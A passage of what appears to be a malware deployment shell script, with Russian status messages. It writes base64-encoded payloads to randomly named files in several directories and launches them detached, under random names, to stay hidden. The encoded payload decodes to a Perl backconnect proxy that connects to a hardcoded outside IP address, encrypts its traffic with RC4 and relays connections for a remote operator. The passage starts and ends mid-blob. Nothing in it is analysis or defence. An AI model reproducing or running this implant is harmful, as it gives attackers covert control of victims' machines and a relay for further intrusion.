Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #17 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #17 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 18 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK 